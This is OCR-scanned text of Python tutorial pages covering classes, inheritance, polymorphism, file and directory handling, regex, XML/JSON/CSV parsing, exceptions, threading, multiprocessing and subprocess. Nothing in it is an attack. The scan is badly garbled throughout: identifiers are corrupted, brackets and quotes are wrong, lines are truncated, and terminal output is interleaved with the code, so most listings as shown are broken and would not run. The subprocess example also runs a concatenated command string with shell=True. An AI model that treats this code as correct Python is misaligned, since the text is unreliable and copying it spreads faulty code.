48 print("\t +str(k) +" : ")

49 for skill in v :

50 print({"\ty\t+str(skill))
51 Id gen=Id Generator()

52 p=Programmer{"Prog merl”,Id_gen, [ . ,"java",
53 iy "wb*],

54 ["my . rver”, " e"],

55 ["PT Framework", "We cca g Framework",

56 50C Orchestration Framework"],

57 os=["windows” , "centos” ,"kali"],

58 nosql=["mongo db","re ,"rabbit mg","basex"]
59 ydata_science=["mac e lea g","Al",

61 1 te 1", "Ne Netwo rh

62 p.printSkillDetails()
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1#!fusrfbinfpython3.5
2 class ASP_Parent():

Protected is
child' object has no attribute '_ASP_child__private’

Private is : 3

Public outside :1

Protceted outside

Private outside :3

@khanUbantu:
:1

3

. JAccessSpecifiers.py

Hr -
'AS

2

" 4 str(self.public))

" + str(self._protected))
+ str(self.__private))

" +str(self._ASP_Parent__private))

3 def __init__(self,pub,prot,priv): =
- self.public=pub X
5 self._protected=prot

6 self.__private=priv

7 class ASP_child(ASP_Parent):

8 def __init(self,pub,prot,priv):

9 super().__init__(pub,prot,priv)
10 def printMembers(self):

11 try:

12 print("Public is :

13 print("Protected is

14 print("Private is "
15 except Exception as ex:

16 print("Ex: " +str(ex))
17 #pr=ASP_Parent()

18 print("Private is

19

20 ch=ASP_child(1,2,3)
21 ch.printMembers()

22 print("Public outside
23 print("Protceted outside
24 print("Private outside

:"+strch.public))

:"+str(ch._protected))

:"+str(ch. ASP Parent private))

1 #!fusr/bin/python3.5
2 class Car():

3 def __init__ (self,cat,mil, cap):

4 self.category=cat

5 self.milage=mil

6 self.capacity=cap

7 class Ferarri(car): Acceleration

8 def __init_ (self,cat,mil,cap,HP,T5,ACC): UERULIE

9 super().__init_ (cat,mil,cap) owered by a 4,499
10 self.HorsePower=HP engine
11 self.TopSpeed=TS r

12 self.Acceleration=ACC preducing 578 PS (

13 def printCarDetails(self): rpm (redline) and
14 engine=Engine() 6,000 rpm with
15 print("Catagory '+str(self.category))

16 print("Milage "+str(self.milage))

17 print("Capacity '+str(self.capacity))
18 print("Horse Power '#5tr(self.HorsePower))
19 print("Top Speed +str(self.TopSpeed))
20 print("Acc : "+str(self.Acceleration))
21 print("Engine :")
22 print("\t"+str(engine.Details()))
23 class Engine():
24 def init self):
25 self.details=None
26 def Details(self):
27 self.details=""
28 The 458 is powered by a 4,499 cc (274.5 cu in; 4.5 L) V8 engine of the
29 "Ferrari/Maserati” F136 engine family,producing 578 PS5 (419 kW; 562 hp) at 9,000
30 rpm (redline) and 540 N'm (398 1lb'Tt) at k.UUU rpm with 80% torque available at 3,250 rpm"""
31 return self.details

32 obj=Ferarri("Sports","4kmph’
33 obj.printCarDetails()

,"4 seater","660 hor

sepower"

5 .J/Composition.py

,"349 km/fh","2.9 sec")
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8 class Department():

9 def __init__(self,name,location):

10 self.name=name |
11 self.loc=location

12 def DepartmentInfo(self):

13 return "Department Name " +str(self.name) +", Location : " +str(self.loc)
14

15 class Manager():

16 def _ init__(self,m_id,name):

17 self.m_id=m_id

18 self.name=name

19 def ManagerInfo(self):

20 return "Manager Name : " +str(self.name) +", Manager id : " +str(self.m_1id)
21 class Employee():

22 def __init__(self,Name,id_gen,dept=None,manager=None):

23 self.Id=id_gen.generate

24 self.Name=Name

25 self.D_id=None

26 self.S5alary=None

27 self.dept=dept

28 self.manager=manager

29 def printDetails(self):

30 print("\n")

31 print("Employee Details !

32 print("ID : " +str(self.Id))

33 print("Name self.Name))

34 print("Salary : " + r(self.salary))

35 print("Department :\n\t"+str(self.dept.DepartmentInfo()))

36 print("Manager : \n\t" +str(self.manager.ManagerInfo()))

:; print( Employee Details :
39

40 Id_gen=Id_Generator()

41 m=Manager (100, "Manager X")

42 d=Department("IT","Delhi")

o Eggig:‘f;?iieg”jp »1d_gen,d,m) Department Name : IT, Location : Delhi

45 emp1.D_id=2 er :
Manager Name : Manager X, Manager id : 100

21 class Address():

22 def init__(self,country,state,area,street,zip_code)

23 self.country=country

24 self.state=state

25 self.area=area

26 self.street=street

27 self.zip_code=zip_code

28 def AddressInfo(self):

29 return "Country : " +str{self.country)+", State : " +str(self.state)+", Street : "+str(self.area)
30 class Employea():

31 def __init__(self,Name,id_gen,dept=None,manager=None,address=None):

iz self.Id=1d_gen.generate

33 se'fJﬁne-ﬁgme g 0 Employee Details

34 self.D_id=None

35 self.5alary=None

36 self.dept=dept Salary : 20000

37 self.manager=manager . 3 .

38 self.address=address )epartment : .

3g def printDetails(self): Department Name : IT, Location : Delhi

48 print("\n") H

41 print(" Manager Mame : Manager X, Manager id : 100
42 primt{ - B -

:3 E:tﬁﬂ"« ;hry}] Country : UAE, State : Dubai, Street : Silicon Oasis
45 primt(" elf.dept.DepartmentInfo()))

a6 print(" Lf .manager .ManagerInfo()))

47 primt(" : elf.address.AddressInfo()))

48 primt{"--- - e ")

49 I1d_gen=Id_Generatar()

58 m=Manager (100, "Manager X")
51 d=Department(
52 a=Address("UAE"
53 empl=Employ !
54 empl.5alary
55 empl.D_1id=
56 empl.printDetails()

Dubai”,"Silicon Oasis”,"Lavista 6","xxxxxx")
11" ,1d_gen,d,m,a)
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1#! fusr/bin/python3.5

2 from abc import ABC, abstractmethod

3

4 class QueueAbs(ABC):

B def init (self):

6 self.buffer=[]

7

8 def printItems(self):

9 for item in self.buffer:
10 print(item)
11 @abstractmethod
12 def enqueue(self,item):

13 pass

14 gabstractmethod

15 def dequeue(self):
16 pnass

18 class Queue(Queuelbs):

19
20 def init (self,length):

21 super().__init ()

22 self,length=length

23

24 def engueue(self,item):

25 is full=self.length <=

26 if is_full:

27 print("Queue is ful
28 return

29 self.buffer.append{item)
30

31

32 def dequeue(self):

33 if len(self bufferj = {:
34 print {"Em Jueue™)
35 return

36 item=self.buffer[0]

37 del self.buffer(0]

38 return item

41 class Driver():
42 def ma
43

44

45

54
55 d=Driver()
56 d.main{()

len(self.buffer)

1in(self):

g= Dueuet

print(“Enqueing")

for item in range(B,10):
g.engueue(item)

print("Printing

q. prlntItemst}

print(*Dequein

for item in “ﬁ|g££6,;3]:
item=q.dequeue()
print(item)
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1
1#! fusr/bin/python3.5
2 class Ferrari():
3 def speed(self):
4 print{"Ferrari : 349 km/h")
5
6 class Mclern():
7 def speed(self):
8 print{"Mclern : 362 km/h")
9
10 def printspeed(carType):
11 carType.speed()
12
13 f=Ferrari()
14 m=Mclern() khan@khanUbantu: S ./Poly_functions.py

15 printSpeed(f) [CUGCINSEEEELIGIY
16 printSpeed(m) [MAtIg TP A AT

1#! fusr/binfpython3.5

2 import math

3 class Shape:

- def 1init_ (self,length=None,breadth=None,height=None,radius=None):
5 self.length=1ength

6 self.breadth=breadth

7 self.height=height

8 self.radius=radius

g def area(self):
10 raise NotImplementedError("Not Implemented")
11
12 class Square(Shape):
13 def __ init__(self,1,b):

14 super().__init__(1,b)

15 def area(self):

16 print("Square Area :" +str(self.length*self.breadth))
17

18 class Circle(Shape):

19 def 1init (self,r):
20 super().__init__(radius=r)
21 def area(self):
22 print("Circle Area :" +str(math.pi * self.radius**2))
23 s=Square(3,4
245.a?ea()( o khan@khanubantu: § ./Poly_class.py
LR Gt ITC NN Suare Area 112
26 c.area() Circle Area :12.566370614359172
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4 class Methods():

5 class var=200

6 def init (self):

7 self.variable=0

8

9 def instance method(self):

10 self.variable=100

11 print("-----e e ")

12 print("Inside Instance Method")

13 print("Instance is : " +str(self))

14 print("Instance variable is : "+str(self.variable))

15 print("Class variable is : " +str(self._ class__ .class var))
16 print("--------- e \n")

17 @classmethod

18 def class method(cls):

19 print("-----------e - ")

20 print("Inside Class Method")

21 try:

22 self.variable=22

23 print("Instance variable is : "+str(Methods().variable))
24 except Exception as ex:

25 print("Cant access instance variable in class method")
26 cls.class var=33

27 print("Class is : " +str(cls))

28 print("Class variable is : "+str(cls.class var))

20 print("---------- wn")
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31 @staticmethod

32 def static method():

33 print("Inside Static Method

34 try:

35 print("Class=%s and Instance variable =%s : ",(class_var,str(self.variable)))
36 except Exception as ex:

37 print("Cant access class and instance variable in static method")

38 class Driver():

39 def main(self):

40 o=Methods ()

41 o.instance_method()

42 o.class_method()

43 Methods.class method()

44 o.static_method()

45 Methods.static method()

46 pl’.‘l.nt( "_--II\III\II\II\III\II\IIIIII\II\III\II\II\III\II\IIIIII )

47 print("Lets see variable access of cl les\n"

48 print - -- --

49 '+strio.class_var))

5@

51 var = 222')

52 print('Accessin " +str{o.class_var))
53 print("------- ")

54 L ] R e

55 oo=Methods ()

56 print('Accessing class variable with New instance : '+str(oo.class_var))

57 print('Ch persiste odif las =d local copy for instance o')
58 print(

59 print(

60 print('Accessing '+str(Methods.class var))
61 print('Ch - created local copy for instance o')
62 print("-- \ )

63 pl’.‘l.nt( "_--II\III\II\II\III\II\IIIIII\II\III\II\II\III\II\IIIIII'\_-- )

64 d=Driver();d.main()
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1#! /usr/bin/python3.5

2
3 class File:

def init (self,filepath):

self.path=filepath

def read(self):

print("Opening file for reading")

f=open(self.path,”"r+")

all data=f.read()

T.seek(0)

all lines=f.readlines

T.seek(d)

b r=f.read(20)

T.seek(0)

line read=f.readline()

if f.closed ==False:
print("Closing file")
f.closel()

print("All data : "+str(all data))

print("-------------------- \n")

print("Lines:")

for i,line in enumerate(all lines):
print("#: "+str(i)+ ": "+str(line))

print("-------------------- \n")

b l=str(len(b r))

print("Buffered : ("+b 1+") -" +str(b r))

PrAnt (" - - \n")
print("Line read: "+str(line read))
PPANt (" - oo s e \n")
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1#! /usr/bin/python3.5

2 import os

3 class OsDirectories():
def init

W0~ ah LN

10

12
13
14
15
1o
17
18
19

21
22

(self):

self.path parent 0=0s.getcwd
selT.file path=os.path.realpath{ file

self.pr=os.path.dirname(self.file path)

if tr all ==False:
files = os.listdir(path)

else:

for i in files:

if os.path.isdir(os.path.join(path,i)):
dir =str(os.path.join(path,1i))
print("Dir : -
self.Traverse(os.path.join(path,i))

else:

print(os.path.join(path,i))

for root, dirs, files in os.walk(path):

def Traverse(self,path,tr_all=False):

+dir )

for T in files:

print(f)

)
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After Changing

/var/www/packet scripts/Test folder
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After Rename
/var/www/packet scripts/remove folder/updated

1#! fusr/binfpython3.5

2

3 def main():

4 num_1=input{"Enter First number : ")

5 num_2=input("Enter Second number : ")

6 sum_=num_1+num_2

7 print({"Sum is : "+str{sum_))

8 print{"Surprised !! ,input() returns 5tring")
9 print{"Actuall sum : " 4str(int(num_1)+int(num _2))})
16
11 main()

‘006 khan@khanUbantu: ~/Packet-scripts

khan@khanUbantu: S .fuser_input.py
Enter First number : 22

Enter Second number : 33

Sum is : 2233

surprised !! ,input() returns String
Actuall sum : 55
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39 stri="Hello == (1) Python Regular Expressions.
40 str2="(2) Enjoying Python to the fullest !"

41
42
43
44
45
46
47
48
49
50
51
52

r=RegularExpressions(stri + str2)
r.start("Hello")

r.start(r'\d")
r.start(r'(\D\d)+")
r.start(r'!s')

r.start(r'.*Reg')

r.start(r'~")

r.start(r'[?0-9]+")
r.start(r'[a-zA-2Z]")
r.start("Python","Python3.5",True)
r.start(r'\D+',"#",True)
r.start(r'(\w+)")
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Recievied Input : Hello == (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t !
Searching and Matching for : Hello
Match results are (All group) : Hello
Start index is :0
End index is :5
Search results are (ALl group) : Hello
Start index is :0
End index is :5
Find all List :
[ 'Hello']

Recievied Input : Hello == (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t!

Searching and Matching for : \d

Mo match results found

Search results are (ALl group)

Start index is :10

End index is :11

Find all List :

['1',
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Recievied Input : Hello == (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t !

Searching and Matching for : (\D\d)+

No match results found

Search results are (ALl group) : (1

Start index is :9

End index is :11

Find all List :

Recievied Input : Hello == (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t !

searching and Matching for : !5

No match results found

Search results are (ALl group)

Start index is :76

End index is :77

Find all List :
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Recievied Input : Hello => (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t !
Searching and Matching for : .*Reg
Match results are (ALl group) : Hello == (1) P
ython Reg
Start index is :©
End index is :23
Search results are (ALl group) : Hello => (1)
Python Reg
Start index is :0
End index is :23
Find all List :
['Hello == (1) Python Reg’']

Recievied Input : Hello == (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t !
Searching and Matching for : #
Match results are (All group)
Start index is :0
End index is :0
Search results are (ALl group)
Start index is :0
End index is :0
Find all List :
['']
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Recievied Input : Hello == (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t !
Searching and Matching for : [#0-9]+
Match results are (All group) : Hello == (
Start index is :©
End index is :10
Search results are (ALl group) : Hello => (
Start index is :0
End index is :10
Find all List :

['Hello == (', ') Python Regular Expre

') Enjoying Python to the fullest

Recievied Input : Hello == (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t!
searching and Matching for : [a-zA-Z]
Match results are (ALl group) : H
Start index is :0
lEnd index is :1
Search results are (ALl group) : H
Start index is :0
End index is :1
Find all List :
['H', '
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Recievied Input : Hello => (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t!
Searching and Matching for : Python
No match results found
Search results are (All group) : Python
Start index is :13
End index is :19
Find all List

['Python', 'Python']
Sub results are : Hello => (1) Python3.5 Regul
ar Expressions. (2) Enjoying Python3.5 to the
fullest !

Recievied Input : Hello => (1) Python Regular
Expressions. (2) Enjoying Python to the fulles
t!
searching and Matching for : \D+
Match results are (A1l group) : Hello => (
Start index is :0
End index is :10
Search results are (All group) : Hello => (
Start index is :0
End index is :10
Find all List

['Hello => (', ') Python Regular Expre
ssions. (', ') Enjoying Python to the fullest
1]

Sub results are : #1#2#

Expressions. (2) Enjoying Python to the fulles
t!

Searching and Matching for : (\w+)

Match results are (All group) : Hello

Start index is :0

End index is :5

Search results are (All group) : Hello
Start index is :0
End index is :5
Find all List

['Hello', '1', 'Python', 'Regular', 'E
xpressions', '2', 'Enjoying', 'Python', 'to',
'the', '"fullest
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1#! Jusr/bin/python3.5
2 import xml.etree.ElementTree as ET e an " . i ae
. 1 <?xml version="1.0" encoding="UTF-8" 7>

3 import sys 2 =

4 class XML_parser(): . 3 <employees department location="Dubai">
5 def __init__(self,xml): 4 <employee id="1

6 self.xml=xml 5 <name>Empl</name>

7 [; <age=32<fage>

8 def parse(self,parse_type="doc"): 7 <salary>30000</salary>

9 #root=ET.fromstring(country_data_as_string) 8 <doj>06/06/2016</doj>

10 if parse_type =="doc": 9 <manager_id>33</manager_id>
11 root = ET.parse(self.xml).getroot() |10 <femployee>

12 else: 11 <employ id="2">

13 root=ET.fromstring(self.xml) 12 <name>Empz</name>

14 tag = root.tag 1 e oo

15 print("Root tag is :"+str(tag)) <salary> <fsalary>

16 attributes = root.attrib 12 ::Sj;:%{G?iggif;ig?EN«— id>
17 print("Root attributes are :") 17 ~ECTp';v&ct o age

18 for k,v in attributes.items(): 1S¢‘Enp]ﬂ”f;¥1

19 print("\t"+str(k) +' "sstr(v)) - ’
20 print("\nPrinting Node Details without knowing subtags :")
21 for employee in root: #.findall(tag)
22 # access all elements in node|
23 print("\n )
24 for element in employee:
25 ele_name = element.tag
26 ele_value = employee.find(element.tag).text
27 print("\t\t"+ele_name, ' ', ele_value)
28
29 print("\n\nPrinting Node Details specifying subtags :")
30 for employee in root.findall("employee"):
31 print("\n-------cmeii i )
32 print("\t\tName :" +str(employee.find("name").text))
33 print("\t\tSalary +str(employee.find("salary”).text))
34 print("\t\tAge +str(employee.find("age").text))
35 print("\t\tManager Id +str(employee.find("manager_id").text))
36 print("\t\tDOJ +str(employee. find("doj").text))
37 obj=XML_parser(sys.argv[1])
38 obi.parse()

khan@khanUbantu:
Root tag is :employees
Root attributes are :

department : IT

location PITLERE
Name :Empl
Salary :3008600
Age :32
Manager Id :33

Printing Node Details without knowing subtags

DOJ :86/06/2016

06/06/2016
manager_id : 33
Name :Emp2
Salary :27000
Age :28
Manager Id :33
DOJ :18/02/2017

name Emp2

age : 28

salar 1 27000
doj : 18/82/2017
manager_id : 33
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class JsonParse():
def _ init  (self,json_):
zelf.json=Json_
def print_file(self):
json_date=""
with open{self.json,"r") &s json_file:
json_date=json.loads(json_file.read())
if json_data:
print("Type of loaded File is :"+str{type(json_data)))
emplovee_rooct=json_data.get("employess”,None)
if employes_root:
print{"Department : " + employee_root["department™])

print{"Location : + employee_root["location"])
print{"Employees : "}

for emp in employee_roct["data"]:

for k,v in emp.items{):
print{"vE"+str{k)+" + " +striv))
def process(self):
with open(self.json,"r") as json_file:
json_date=json.loads(json_file.read())
if json_data:
print("%n5lab Processing started")
for index,emp in enumerate(json_data["employvees"]["data™]):
if emp["salary™] »= 3@200:
Json_data["employees"]["data" ][index]["slab" ]="4A"
else:
json_data[ "employees"]["data" J[index]["slab" ]="B"
print{"5lab Processing Ended ‘.nSaving Results :")
with open{self.json,"w"} &s Jjson_file:
json.dump(json_data, json_file , indent=4, sort_keys=True)
primt("Results saved “nhow reprinting : ™)
self.print_file()
obj=JsonParse(sys.argv[1])
obj.print_file()

chj.processi)
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2 import Csv,sSys

3 class C5V parser():

4 def init (self,csv_):

5 self.csv =cCcsv

6 self.employees=[]

7 def parse basic(self):

a8 print(“\n{M1) : Reading with reader ")

9 with open{self.csv_) as csvfile:

10 readC5V = csv.reader(csvfile, delimiter="',")
11 header=next { readCsV)

12 print(“"Header is : "+str(header))

13 primt()

14 hdr=header[0]+"\t"+header[1]+"%T"\

15 +header[2]+"\t"+header[3]+"\t"+header[4]
16 print(hdr)

17 for ind, row im enumerate({readCsV):

18 values=row[0]+"\t"+row[1]+"t"Y\

19 +row[2]+" "t "+row[3]+" "t "+row[4]
20 print(values)
21 emp={header[@]:rowl[@],header[1]l:rowl[l],
22 header[2] :row[2] ,header[3]:row[3].,
23 header[4] :row[4],
24 header([5] : row[5] , header[6] : row[6]}
25 selT.employees.append(emp)
27 print("\n(M2) : Reading with DictReader ")
28 with open(self.csv_) as csvfile:
29 reader = csv.DictReader(csvfile)
30 header=reader.fieldnames
31 hdr=header[0]+"\t"+header[1]+"\L"\
32 +header[2]+"“t"+header[3]+"\t"+header[4]
33 print(”sn"+hdr)
34 for ind, row in enumerate(reader):
35 values=row[ “Name" ]+"\t"+row[ “Age” ]\
36 +"Nt"+row["Salary” ]+"vt"+row[ "M id" ]\
37 +"\t"+row["Slab"]
38 print(values)
39
40 def process(self):
41 for emp inm self.employees:

42 if int{emp[“Salary”]) ==30000:

43 emp[“Slab” ]="A"

a4 else:

45 emp[“Slab” ]="B"

46 header=self.employees|[0] . keys ()

47 print(""n{M1l) : Writing with DictWriter ")

48 with open(self.csv_,"w") as csvfile:

49 writer = csv.DictWriter(csvfile, fieldnames=header)
50 writer.writeheader()

51 writer.writerows self.employees

52 print("Data written ! “n")

53 self.parse basic()
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Method 2 ,to write row wise -> using DictWriter
with open(self.csv ,"w") as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=header)
for row in self.employees:
writer.writerow(row)

L)

Method 3 ,to write from list of Llsits -= usring writer
salf.data=[['coll', 'col2','col3'],['dll", 'd1l2"', 'd13'],['d2]l'
( f.csv ,"w") as csvfile:

- = ¢csV.Writer(csvfile, fieldnames=header)

~.writerows(self.data)

. d22'

,'d2

[60]
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1 #! fusr/bin/python3.5
2 class ExceptionHandeling():

3 def init_ (self):

4 pass

5 def div_1(self,numl,num2):

6 try:

T num3=numl/num2

8 print("Division result +str(num3))
9

10 except Exception as ex:

11 print("Exception "+str(ex))

12

13 def div_2(self,numl,num2):

14 try:

15 num3=numl/num2

16 print("Division result +str{num3))
17

18 except Exception as ex:

19 print("Exception "+str(ex))

20 finally:

21 print("Cleaning uUp")

22 del numi

23 del num2

24

25 def div 3(self,numl,num2):

26 try:

27 if num2 == 0O:

28 raise ValueError('Division by © will throw exception')
29 else:

30 num3=numl/num2

31 print("Division result +str(num3))
32 except Exception as exc:

33 print("Exception "+str(exc))

ception_handeling.py
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Chapter 4: Advanced Python Modules

1#! /usr/bin/python3.6
2 import threading
3 import time

4 class Threads():

5 def init (self):

b pass

7 |
8 def execute(self,type ):

] print("Enter : +str{type ))

10 time.sleep(15)

11 print(“Exit +stritype ))

12

13 obj=Threads()
14 t=threading.Thread(name="ND",

15 target=obj.execute,args=("Non Demonic”,)} N
16 print("Main started") ( |
17 t.start{]) /
18 print(“Main Ended")

1#! fusr/bin/python3.5

2 import threading

3 import time

4 import logging

5 logging.basicConfig(level=1logging.DEBUG,
6

format= threadName) - 10s (message)s',
7 )
8 class Threads():
g def init (self):
10 pass
11
12 def execute(self,type ):
13 logging.debug(“Ente +stritype ))
14 time.sleep(4)
15 Llogging.debug("Exit +str(type ))
16
17 obj=Threads()
18 t=threading.Thread(name="Demon",
19 target=obj.execute,args=("Demonic",))
20 t.setDaemon(True)
21 logging.debug("Main started"”)
22 t.start()
23 logging.debug("Main Ended")




2 1mport threading

port time

4 import logging

5 logging.basicConfig(level=1logging.DEBUG,
ormats"' (

B {threadName) -18s) %{message)s’',

7 ]

8 class Multi Threads():

9 def init_ (self):

16 pass

11 def execute(self):

12 t = threading.currentThread()

13 logging.debug(“Enter : +strit.name))

14 logging.debug("Executir +str{t.name))

15 time.sleep(2)

16 logging.debug(“"Exit +5Tr(t.name))

17 return

18 class Driver():

19 def init (self}):

28 self.counter=0

21 daf main{self):

22 m=Multi Threadsi)

23 total=05

24 my threads=[]

25 while True:

26 all threads=threading.enumerate()

27 if len{all threads) < 4 and self.counter < 6:
28 t=threading.Thread

29 [name="Thread "+str{self.counter),target=m.execute)
3@ my threads.append{t)

3l t.start{)

32 self.counter=self.counter+l

33 else;

34 pass

35 if self.counter == 6:

36 logging.debug("Exiting loop as 6 threads executed”)
37 break

3a for t in my threads:

39 ir t.isAlive():

40 logging.debug{“Thread :* + t.name +" is alive .Joining 1"}
a1 t.join()

42 else:

43 Llogging.debug( Thread : +t.name + Exacuted *)
44 print xiting ma

45 obj=Driver()

46 obj .maini )

(1\

[64]




1#! fusr/bin/python3.5
2

3 import threading

4 import time

5 import logging

6 logging.basicConfig(level=1logging.DEBUG,
-

8

format="(%(threadName)- 1¢ %(message)s',)

counter=8
9 class Communicate():
10 def _ init__(self):
11 pass
12 def walt_for_event(self,e):
13 global counter
14 logging.debug("Wait for counter to become 5")
15 is_set=e.wait()
16 logging.debug("Hurray !! Now counter has become %s",counter)
17 def increment_counter(self,e,wailt_time):
18 global counter
19 while counter < 10
20 logging. dohug(“hm t to increment counter™)
21 if e.ls_set() e
22 e. deLLndLL Llﬂe\
2 else:
24 time.sleep(1)
25 counter=counter +1
26 logging.debug("Counter Incremented : %s ",counter)
27 if counter == 5:
28 e.set()

29 obj=Communicate()

30 e=threading.Event()

31 t1=threading.Thread(name="Thread 1",target=obj.wait_for_event,args=(e,))

32 t2=threading.Thread(name="Thread 2" ,target=obj.increment_counter,args={e,1))
33 t1.start()

34 t2.start()

3 import threading

4 {33'3?— {;"Ptn (Thread_® ) Acquired lock

o irbort romaiel (Thread_a__) Releasing Lock
7 (Thread_3 Acquired lock
8 logging.basicConfig(level= 'logglng 5 (Thread 4 ﬁ‘«cquired lock

9 for (%(thr }-1@s) 3 ] ¥s',) - -

18 class ResourceControl() (Thread_a

11 def  init_ (=elf): (Thread_4

12 self.counter=0 (Thread_1

3 self i (

:; self.lock=threading.Lock() L_Thr-:ad 1 ) ¢
15 def increment_counter{self): = -
16 self.lock.acquire() 3 2 F'eleaslng Lock
17 try: .

18 logging.debug('Acquired leck ' +str(self.counter)) SOUNEER \.ralu iz

19 elf.counter=self.counter+

26 finally: (Thread_® ) Acquired lock
321‘ }f??.‘?géie?:?éa?;ég.lhl.“: Lock +str(self.counter)) (Thread_&) ) Releasing Lock
23 ' ' (Thread_1 ) Acquired lock
24 def c-m-<-n;-:-(;1-c-'.'3_: bresd() (Thread_1 ) Releasing Loc
23 th=threading.currentThrea N 3 -
26 self.increment_counter() (Thread 2 ) HCqur_ed Llock
27 : 2 ) Releasing Loc
28 A T
29 def start threads(self,count): ) chulr?d tock
38 for 1 in range(count): _ )} Releasing Loc
31 t=threading.Thread(name="Thread "+str{1),target=self.execute) (Thread 4 ) ﬁcqu'i_red lock
32 t.start() r - — =71 ¢ 3
33 r=ResourceControl() (Thread— ) Releasmg Lock
34 r.start_threads(s) Counter value : 5

35 for t in threading.enumerate():

36 if t 1s not threading.currentThread():

37 t. join()

38 print{{"Counter value : " +str{r.counter)
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2 import multiprocessing as mp

3 import time

4 import logging

5 logging.basicConfig(level=logging.DEBUG,
6

format='(%(processName)-18s) %(message)s',
7 ) | '
8 class Processes(): '
9 def init (self):
18 pass
11
12 def execute(self,type ):
13 logging.debug("Enter : " +stritype_ ))
14 time.sleep(4)
15 logging.debug( “Exit +stritype ))
16

17 abj=Processes()

18 p=mp.Process(name="Demon",

19 target=obj.execute,args=("Demonic”,))
28 p.daemon = True

21 logging.debug(“Main started")

22 p.start()

23 logging.debug "Main Ended

1#! fusr/bin/python3.5 (MainProcess) Waiting for 3 seconds

2 import multiprocessing as mp (Pro ‘ ) Executed Proce
3 import time (Process_2 ) Executed Process
4 import logging (Process 1 ) c Process
5 logging.basicConfig(level=1logging.DEBUG, (MainProce : i
6 format='(%(processName)-10s) %(message)s',
7 )
8 class Processes():
9 def __init__(self): Proce
i? pass (MainProc ) K Proc
) (MainProcess) Killing Proces
12 def execute(self,id): (MainProce Killing prc : Proces
12 time.sleep(1) ) ) . (MainProce Killing : Proces
14 logging.debug("Executed Process : +str(id)) (MainProcess) Killing s: Process 9
15 obj=Processes() (Process_9 ) Executed c 9 -
16 process_list=[] (MainProcess) Main Ended
17 for 1 in range(18):
18 p=mp.Process(name="Process_"+str(i),target=obj.execute,args=(1i,))
19 process_list.append(p)
28 p.start()
21
22

23 main_process=mp.current_process()

24 logging.debug("Waiting for 2 seconds")
25 counter =0

26 for p in process_list:

27 if p.is_alive() and counter < 1:

28 p.join(3)

29 counter=counter + 1

38 else:

31 if p.is_alive():

32 logging.debug("Killing process: " +p.name )
33 p.terminate()

34

35 logging.debug(“Main Ended”)
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2 from multiprocessing import Pool
3 import multiprocessing as mp
4 import datetime as dt

started process : ForkPoolWorker-1
arted process

5 class Pooling(): tar t(-f'd I:‘r_clcm_'?_'

-] def write_to_file(self,file_name): ted proc

7 try: Ended proce

8 st_time=dt.datetime.now() Started proc

9 process=mp.current_process() Ended p C

18 name=process.nane Started proc

11 print("Started process : " +5-.r(narf15)) Ended proc

12 with open(file_name,"w+") as out_file:

13 out_file.write("Process_name,Record_id,Date_time”+"\n") _ T
14 for i in range(16000860): ForkPoolWor
15 tm=dt.datetine.now() Started proces ForkPooll
16 w=striname)+", "+str(i)+", "+str(tm)+"\n Ended proc :

17 out_fille.write()

18 print("Ended process : " +str(name))

19 en_time=dt.datetime.now()

28 tm=(en_time-st_time).seconds

21 return "Process "+striname)+" Exe time in sec : " +str(tm)

22 except Exceptlon as ex:

23 print("Exception caught :"+str(ex))

24 return "Process : "+str(name)+" - Exception : " +str{ex)

26 def driver{self):

27 try:

28 st_time=dt.datetime.now()

29 p_cores=mp.cpu_count()

30 pool = mp.Pool(p_cores)

31 results=[]

32 for i in range(8):

33 args=("Milltlon_"+str(i),)

34 results.append({pool.apply_async{self.write_to_file,args)) \_2/
35 final_results=[] .
36 for result in results:

37 final_results.append(result.get()})

38 pool.close()

39 pool.join()

48 en_time=dt.datetime.now()

41 print("Results : ")

42 for rec in final_results:

43 print(rec)

44 print{"Total Execution time : " +str({en_time-st_time).seconds))

45 except Exception as ex:

46 print{"Exception caught :"+str(ex))

47 obj=Pooling()
48 obj.driver
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multiprocessing as mp
datetime as dt
5 class Pooling(): ForkPoollo
6 def read_from_file(self,file_name):
T try:
B fn=list(file_name.keys())[8]
9 1ine_no=g
18 for 1ine in open(fn,
11 Af line_no == o:
1z line_no=line_no + 1
13 continue
14 ecords=Llilne.split(","}
15 try:
16 r_td=int(records[1])
17 if (r_id % Y=108:
18 file_name(fn].append(line)
19 except Exception as ex:
20 print("Exception " +striex))

return file_name

except Exception as ex:
print("Exception caught :
file_name[fn].append(s
return file_name

+striex))
(ex))

76

27

28 st_time=dt.datetime.now(}

29 p_cores=mp.cpu_count()

38 pool = mp.Pool{p_cores)

31 results=[]

32 V= Lion"

33 flless[{v+" + (13 4w+ _27:[13 {v+"_3":[11]

34 aggrigated_ pool.map{self.read_from_file,files)

35 for f in aggrig ult:

36 " a+") as owt_file:

37

38

1]

48 )
41 for key "sstr{k)+" :\n")

42

43

44 wn")
45

46 print( Written

47 poel.close()

48 poel. join(}

49 en_time=dt.datetime.now()

58 print{"Total Execution time : " +str({en_time-st_time}.seconds))

51 except Exception as

52 print("E on caught :"+striex))

53 obj=Pooling()

154 obj.driver_readd] |

items for key Millio

1#! Jusr/bin/python3.5
2 import subprocess
3 import datetime as
4 import sys

5 import chardet

6 class SP():

dt

7 def execute(self,command,args=""):
8 try:
9 p=subprocess.Popen(command+" "+str(args),
18 shell=True,stderr=subprocess.PIPE,
11 stdout=subprocess.PIPE)
12 print("ID of spawned process is :"+str(p.pid)+"\n
13 out,err=p.communicate()
14 result = chardet.detect(out)
15 out=str(out).encode('ascii')
16 out=out.decode("utf-8")
17 splitted=str(out).split("\\n")
18 for o in splitted:
19 print(o)
20 except Exception as ex:
21 print("Exception caught +str(ex))

22 obj=SP()
23|obj.execute('Ls')

1D of spawned proce

b'AccessSpecifiers.py
Aggregations.py
aArea_finder.py
bettercap-1.
bettercap_linux_amd64_2.6
child.py

Composition.py
employees.xml
Exception_handeling.py

— __-Py
Invoker.py
iterators_python
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1#! fusrfbin/python3.5
2 import subprocess

3 import datetime as dt
4 import sys

5 import chardet

6 class SP():

7 def execute(self,command=[]):

8 try:

9 p=subprocess.Popen(command,

16 shell=False,stderr=subprocess.PIPE,
